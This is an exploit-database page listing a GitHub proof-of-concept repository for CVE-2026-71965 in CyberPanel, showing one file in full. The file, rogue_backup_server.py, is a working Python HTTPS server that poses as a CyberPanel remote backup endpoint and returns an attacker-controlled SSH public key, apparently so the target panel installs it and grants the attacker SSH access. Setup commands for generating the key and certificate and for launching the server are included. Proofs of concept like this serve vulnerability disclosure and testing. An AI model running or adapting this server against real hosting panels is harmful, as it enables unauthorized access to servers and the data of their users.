Exploit database

GH-823729db0277ffa11d231b3a5ce19487

duypt02/cve-2026-71965-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-71965

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5
duypt02/cve-2026-71965-pocRevision d61536d877fb

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

rogue_backup_server.py

Python · 2,808 bytes
#!/usr/bin/env python3
"""Rogue CyberPanel backup API server for CVE-2026-71965.

Run this on the attacker host. The target CyberPanel must be able to reach
this host on the chosen port. The server answers the two endpoints used by
CyberPanel's remote backup feature:

  POST /api/cyberPanelVersion -> version metadata
  POST /api/fetchSSHkey       -> attacker-controlled SSH public key

Preparation:
  ssh-keygen -t ed25519 -f attacker_key -N ''
  openssl req -x509 -newkey rsa:2048 -keyout attacker.key -out attacker.crt \
      -days 2 -nodes -subj "/CN=backup"

  python3 rogue_backup_server.py \
      --pubkey attacker_key.pub --cert attacker.crt --key attacker.key
"""

import argparse
import json
import ssl
from http.server import BaseHTTPRequestHandler, HTTPServer


def main():
    parser = argparse.ArgumentParser(
        description="Rogue CyberPanel backup API server (CVE-2026-71965)"
    )
    parser.add_argument("--pubkey", default="attacker_key.pub", help="SSH public key returned to the panel")
    parser.add_argument("--cert", default="attacker.crt", help="TLS certificate")
    parser.add_argument("--key", default="attacker.key", help="TLS private key")
    parser.add_argument("--port", type=int, default=8090, help="HTTPS listen port")
    parser.add_argument("--bind", default="0.0.0.0", help="Bind address")
    args = parser.parse_args()

    with open(args.pubkey, "r", encoding="utf-8") as handle:
        public_key = handle.read().strip()

    class Handler(BaseHTTPRequestHandler):
        def _send(self, obj):
            body = json.dumps(obj).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)

        def do_POST(self):
            length = int(self.headers.get("Content-Length", "0") or 0)
            if length:
                self.rfile.read(length)

            if self.path.endswith("/api/cyberPanelVersion"):
                self._send({"getVersion": 1, "currentVersion": 2.4, "build": 3})
            elif self.path.endswith("/api/fetchSSHkey"):
                self._send({"pubKeyStatus": 1, "pubKey": public_key})
            else:
                self._send({"error_message": "unknown"})

        def log_message(self, *args):
            pass

    httpd = HTTPServer((args.bind, args.port), Handler)
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(args.cert, args.key)
    httpd.socket = context.wrap_socket(httpd.socket, server_side=True)

    print(f"[*] Rogue backup server listening on {args.bind}:{args.port}")
    print(f"[*] Public key: {public_key[:60]}...")
    httpd.serve_forever()


if __name__ == "__main__":
    main()